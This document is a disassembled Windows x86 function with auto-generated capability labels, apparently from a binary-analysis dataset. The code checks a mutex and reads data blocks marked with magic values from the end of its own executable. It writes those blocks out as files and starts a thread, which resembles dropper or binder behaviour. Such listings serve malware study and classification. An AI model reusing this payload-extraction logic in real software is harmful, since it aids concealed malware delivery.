Function at 0x402fa5
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Initialize winsock library
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x674
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [0x404bd7], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
mov dword [esp], 0x8003
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 0x40
pop edx
push edx
xor ebx, ebx
push 0x404050
mov byte [0x404ad4], 0x25
mov byte [0x404ad5], 0x78
mov byte [0x404ad6], bl
call fcn.0040173a
push edx
push 0x404b97
call fcn.0040173a
push edx
push 0x404ad7
call fcn.0040173a
push edx
push 0x404090
call fcn.0040173a
push 0xa00
push 0x4040d0
call fcn.0040173a
add edx, 0x40
push edx
push 0x404bdb
call fcn.0040173a
push edx
push 0x404b17
call fcn.0040173a
add esp, 0x38
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, eax
cmp esi, ebx
je 0x40306d
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esi + eax - 1]
cmp byte [eax], 0x75
jne 0x40306d
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, 0x200
push esi
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 0x46c], bl
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40355c
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
cmp byte [ebp - 0x46c], bl
lea eax, [ebp - 0x46c]
je 0x4030b3
cmp byte [eax], 0x5c
jne 0x4030ae
mov byte [eax], 0x5f
inc eax
cmp byte [eax], bl
jne 0x4030a6
lea eax, [ebp - 0x46c]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x4030db
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4030db
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x5fc]
push eax
push 2
call sub.WS2_32.DLL_WSAStartup
call fcn.00401924
call fcn.00401a58
call fcn.00401d25
test eax, eax
jne 0x40340a
push 0x100000
call fcn.004016d2
pop ecx
mov dword [ebp + 0x64], eax
push esi
lea eax, [ebp - 0x26c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push 1
push bind
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp + 0x70], esi
je 0x4033fc
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffff8
push esi
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push 8
lea eax, [ebp - 0x6c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
call esi
cmp dword [ebp + 0x74], 8
jne 0x4031c8
cmp dword [ebp - 0x6c], ebx
jne 0x4031c8
cmp dword [ebp - 0x68], ebx
jne 0x4033f2
push 1
push ebx
push 0xfffffffffffffff7
jmp 0x403194
cmp dword [ebp + 0x74], 1
jne 0x4031ae
push 1
push ebx
push 0xfffffffffffffffe
push dword [ebp + 0x70]
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push 1
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x70]
call esi
cmp dword [ebp - 0x6c], ebx
je 0x403189
push 1
push ebx
push 0xfffffffffffffffb
push dword [ebp + 0x70]
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push 8
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x70]
call esi
cmp dword [ebp - 0x6c], 0xdeadf00d
jne 0x4033f2
mov eax, dword [ebp - 0x68]
cmp eax, 0x10
jae 0x4033f2
push 1
push ebx
push 0xfffffffffffffff8
pop ecx
mov dword [ebp + 0x60], eax
shl eax, 4
sub ecx, eax
push ecx
push dword [ebp + 0x70]
mov dword [ebp + 0x6c], eax
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x6c]
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x70]
call esi
cmp dword [ebp + 0x60], ebx
je 0x4033f2
lea edi, [ebp - 0x60]
mov dword [ebp + 0x68], 0x4040f0
dec dword [ebp + 0x60]
push ebx
push ebx
push dword [edi - 8]
push dword [ebp + 0x70]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, dword [edi - 0xc]
cmp eax, 0xffffeedd
jne 0x40327e
mov eax, dword [edi - 4]
mov dword [ebp + 0x74], eax
mov eax, dword [edi]
sub eax, ebx
je 0x403264
dec eax
jne 0x4033e6
push 0x3e
pop eax
cmp dword [ebp + 0x74], eax
jbe 0x403255
mov dword [ebp + 0x74], eax
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x74]
push 0x404ad7
jmp 0x4032b0
push 0x40
pop eax
cmp dword [ebp + 0x74], eax
jbe 0x40326f
mov dword [ebp + 0x74], eax
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x74]
push 0x404050
jmp 0x4032b0
cmp eax, 0xffffeeff
jne 0x4032d4
mov eax, dword [edi - 4]
mov dword [ebp + 0x74], eax
mov eax, dword [edi]
sub eax, ebx
je 0x4032ba
dec eax
jne 0x4033e6
push 0x3e
pop eax
cmp dword [ebp + 0x74], eax
jbe 0x4032a3
mov dword [ebp + 0x74], eax
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x74]
push 0x404090
push dword [ebp + 0x70]
call esi
jmp 0x4033e6
push 0x40
pop eax
cmp dword [ebp + 0x74], eax
jbe 0x4032c5
mov dword [ebp + 0x74], eax
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x74]
push 0x404b97
jmp 0x4032b0
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [edi - 4]
push dword [ebp + 0x64]
push dword [ebp + 0x70]
call esi
lea eax, [ebp - 0x26c]
push 1
push eax
call fcn.00402162
pop ecx
pop ecx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x6c], eax
je 0x4033e6
push ebx
lea ecx, [ebp + 0x74]
push ecx
push dword [edi - 4]
push dword [ebp + 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [edi - 4]
mov ecx, dword [ebp + 0x64]
cmp dword [eax + ecx - 4], 0xfefefefe
jne 0x40334f
call fcn.0040168e
and eax, 0xfff
push eax
push dword [ebp + 0x6c]
call fcn.00401753
pop ecx
pop ecx
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp + eax - 0x26c]
jmp 0x40336f
dec eax
cmp byte [eax], 0x2e
jne 0x40336e
cmp bl, 0x5c
mov byte [eax], bl
je 0x403381
dec eax
cmp byte [eax], 0x5c
jne 0x40337b
inc eax
push eax
mov eax, dword [ebp + 0x68]
add eax, 0xffffffe8
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [edi]
cmp ecx, 1
jbe 0x4033cc
mov eax, ecx
mov dword [ebp + 0x6c], eax
call fcn.004016a0
mov edx, eax
mov eax, dword [ebp + 0x6c]
shr eax, 0x10
mov ecx, 0x7fff
and eax, ecx
imul eax, eax, 0x3c
add edx, eax
mov eax, dword [ebp + 0x68]
mov dword [eax], edx
mov edx, dword [ebp + 0x6c]
shr edx, 1
and edx, ecx
mov ecx, dword [ebp + 0x6c]
imul edx, edx, 0x3c
mov dword [eax + 4], edx
jmp 0x4033d4
mov eax, dword [ebp + 0x68]
mov dword [eax], ebx
mov dword [eax + 4], ebx
and ecx, 1
mov dword [eax - 0x1c], ecx
mov ecx, dword [edi - 0xc]
mov dword [eax - 0x20], ecx
add eax, 0x28
mov dword [ebp + 0x68], eax
add edi, 0x10
cmp dword [ebp + 0x60], ebx
jne 0x40321c
push dword [ebp + 0x70]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
call fcn.00401f0d
push dword [ebp + 0x64]
call fcn.004016bf
pop ecx
call fcn.004028b8
lea eax, [ebp + 0x74]
push eax
push ebx
push ebx
push 0x402eef
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop esi
xor eax, eax
pop ebx
add ebp, 0x78
leave
ret